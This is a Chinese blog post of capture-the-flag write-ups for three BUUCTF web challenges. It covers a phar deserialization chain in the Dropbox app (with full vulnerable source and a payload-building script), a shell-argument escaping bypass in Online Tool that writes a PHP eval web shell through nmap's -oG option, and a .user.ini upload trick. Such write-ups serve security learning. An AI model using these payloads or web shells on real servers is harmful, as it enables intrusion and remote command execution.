BUUCTF复现记录2

[CISCN2019 华北赛区 Day1 Web1]Dropbox

 

打开题目,一个登录界面,SQL?

sqlmap跑一下,没有注入,那么注册一下

登录之后,发现只有一个上传页面,源码里面也没有什么

那就上传看看吧,只能上传图片格式的

上传一个试试

上传之后,发现有下载和删除选项,下载抓包看看。

在下载文件存在任意文件下载漏洞

在index.php里面看到包含了文件class.php,然后在下载其他文件,不过没有flag.php或者flag.txt

 

那么就代码审计

download.php,简单的对文件名做了一个限定

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php,先post一个filename,然后判断文件名长度,并打开文件,最后删除文件

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

class.php  

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;
    //定义一个构造方法初始化数据库
    public function __construct() {
        global $db;    //调用全局变量
        $this->db = $db;    //初始化,连接数据库使用
    }

    //定义一个判断用户是否存在的函数,在数据库里查询
    public function user_exist($username) {
        //prepare 用于预备一个语句,方便以后引用
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        //bind_param()  该函数绑定了SQL的参数,告诉数据库参数的值,s为string
        $stmt->bind_param("s", $username);
        $stmt->execute();       //execute()函数  用来执行之前预处理的语句
        $stmt->store_result();  //返回查询的数据
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    //
    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }


    //确认用户存在
    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx"); //加盐哈希
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }
    // 析构函数,对象生命周期结束的时候调用,必定执行,在结束的时候,会调用close()函数,
    // 在File类中可以看到,close函数,会执行file_get_contents(),来获取文件的内容
    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);  // 在数组中搜索给定的值,成功则返回相应的键名。
        unset($filenames[$key]);    //销毁键名
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);    //将一个或多个单元压入数组的末尾,将file往files数组里面添加
            $this->results[$file->name()] = array();  //这里得到上传文件名的名字,比如说,flag.txt
        }
    }


    //定义了一个魔术方法,用来监视一个对象的其他方法,如果调用了该类中没有定义的方法,就会触发该方法执行。
    public function __call($func, $args) {
        array_push($this->funcs, $func);      //如果调用了不存在的方法,将改方法放到funcs数组中
        foreach ($this->files as $file) {     //再从files数组中取出方法,利用这个元素去调用funcs中新增的func
            $this->results[$file->name()][$func] = $file->$func();  //$file->$func相当于close()函数
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        //根据上面call魔术方法,funcs里面是FileList类里没有定义的方法,下面开始遍历
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            //这里遍历,我们构造的filename为/flag.txt,所以这里利用close方法,读取flag.txt的值
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);    //该函数返回路径中,文件的部分,比如../../uploads/test.php ,返回的是test.php
                                             //利用的时候,flanamew设为/flag.txt,,则调用name函数的时候,返回的是flag.txt
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }


    //定义close()函数,用来获取文件的内容
    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

 

 

从上面的三个代码审计可以知道,download.php代码就存在一个任意文件下载漏洞这么个作用,然后在delete.php执行的时候会post一个filename,并且会打开文件,然后删除文件,这里可以利用来读取文件

最后就是class.php,定义了三个类,User,FileList,File。

在User类中,重要关注的是析构函数,他会调用close()函数,而close函数是File类里面定义的一个用来读取文件内容

析构函数会在对象生命周期结束的时候调用,所以最终会调用close()函数,并且读取文件,没有回显,不会输出

那么输出只能在FileList类里面了,可以看到,里面有两个关键的方法,__call魔术方法,方法作用就不说了,上面代码里面说的清楚

__destruct()析构函数里面,有输出,会调用触发__call方法的方法,利用这个来读取文件,并输出。

 

对于上面的,我们需要使用phar:协议来绕过对flag字符的,读取文件

关于该协议,这里说的不错:https://xz.aliyun.com/t/2715

那么就可以创建User的对象,让db变量是FileList的对象,对象中的文件名定为的位置,猜为flag.txt这样db对象结束时就会调用析构函数,继而执行close函数。但是在db变量中是没有close方法的,所以会触发__call方法,这样就会变成执行了File对象的close方法,触发完__call方法之后,接下来就是析构函数,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来

下面是利用phar来构造payload:

<?php
class User {
    public $db;
    public function __construct(){
        $this->db=new FileList;
    }
}

class File{
    public $filename;
}

class FileList{
    private $files;
    private $results;
    private $funcs;
    public function __construct(){
        $file=new File;
        $file->filename='/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();

}

}

ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("mortals.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$mortals = new User();
$phar->setMetadata($mortals); //将自定义的meta-data存入manifest
$phar->addFromString("shell.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

执行之后,会生成一个一个文件mortals.phar

上传phar,然后删除时,delete.php处存在file类的open函数,open函数存在file_exists()方法,这样就可以触发我们phar的反序列化,然后我们phar中调用了User类,User类destruct的时候,调用了db.close方法。抓包,改包,发包,利用phar://协议来读取文件,最终得到flag。

 

..............end..........

代码审计好难,懵懵懂懂的,看了各位大哥WP。

 

 

 

Online Tool

打开题目地址得到源码,代码审计:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    //获取IP
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);  //对文件语法进行高亮显示
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);   //把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号
    $host = escapeshellcmd($host);   //对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);   //新建目录,默认权限,最大可能的访问权
    chdir($sandbox);    //改变目录路径,成功返回true,失败返回false
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
    // -sT,在目标主机的日志上记录大批连接请求和错误的信息
    // -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令
    // -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟
    // --host-time限制扫描时间
    // -F,快速扫描

关键点在于这个两个函数,这两个函数结合在一起使用,且先调用escapeshellarg函数的时候,有危险

$host = escapeshellarg($host);   
$host = escapeshellcmd($host);

可以知道,escapeshellarg函数会先对host变量中的单引号进行转义,并且转义之后,在 \' 的左右两边再加上单引号,变成 '\''

接下来到escapeshellcmd函数,会对host变量中的特殊字符进行转义(&#;`|*?~<>^()[]{}$\, \x0A//和\xFF以及不配对的单/双引号转义)

那么上面的 \ 就会被再次转义,比如变成 '\\''

在测试的时候得到,如果在字符串首尾加上单引号,经过escapeshellarg函数之后,就可以实现将单引号给闭合了,在经过escapeshellcmd函数的时候单引号就是配对的,就不会进行转义

比如说:

'mortals tx'

先后经过两个函数的变化:

escapeshellarg:''\'' mortals tx ''\''
escapeshellcmd: ''\\''mortals tx ''\\''

 这样就可以实现单引号的逃逸了

在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件,也就是说我们可以使用这个参数

写一个一句话到sandbox里面去,然后执行就行了

在一句话里面,因为又特殊字符,所以经过escapeshellcmd函数的时候会被转义,但执行的时候就没了

来测试一下看看

可以看到,通过-oG参数,得到了一个text1的文件(高版本的可以使用-oN,题目环境为php5版本),里面就有写的一句话,变正常了

也就是说,可以这样构造来一句话后门了

?host=' <?php @eval($_POST["tx"]);?> -oG mortals.php '

根据给的源码知道,执行之后,会生成一个目录,然后这个文件就到了生成的目录中

在生成的目录下执行mortals.php文件,然后蚁剑连接

可以看到,上传成功,并且,可以打开终端了,在根目录下,可以发现flag文件

打开,即可获得flag。

 

当然,也可以将一句话中的POST改为GET,然后再URL上直接执行系统命令,获取flag

/mortals.php?tx=system('cat /flag');

参考资料:

https://paper.seebug.org/164/#0-tsina-1-56231-397232819ff9a47a7b7e80a40613cfe1

https://althims.com/2019/07/25/buu-online-tool-wp/

https://v0w.top/2018/04/21/SKCTF2-wp/#web-nmap

http://eustiar.tk/archives/521

http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/#%E4%B8%80-%E5%89%8D%E6%83%85%E6%8F%90%E8%A6%81

 

[SUCTF 2019]CheckIn

基于各位师傅的WP,复现,学习

上传的题目

题目的考点是利用.user.ini漏洞

通过查看P牛关于.user.ini文件利用:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

可以知道PHP_INI配置文件的一些配置,可以通过.user.ini来实现,而.user.ini文件是用户自定义的

可以设置PHP_INI里面除了PHP_INI_SYSTEM模式外的之外的配置文件

而在PHP_INI里面有个配置是.user.ini是有权设置的:auto_prepend_file,通过这个设置可以实现包含文件

 

在该题里面,禁止了很多,但是对于上传的文件,是通过exif_image来判断上传的文件头,读取一个图像的第一个字节并检查其签名。

可以在上传的文件头加一个图片的文件头就可以了

那么现在就是制作.user.ini文件和一句话,先上传.user.ini文件来实现包含,上传之后还给出了文件所在目录

接着上传test.png

 

 上传成功之后,访问即可获得flag

 

posted @ 2019-08-22 20:41  mortals-tx  阅读(1075)  评论(0编辑  收藏  举报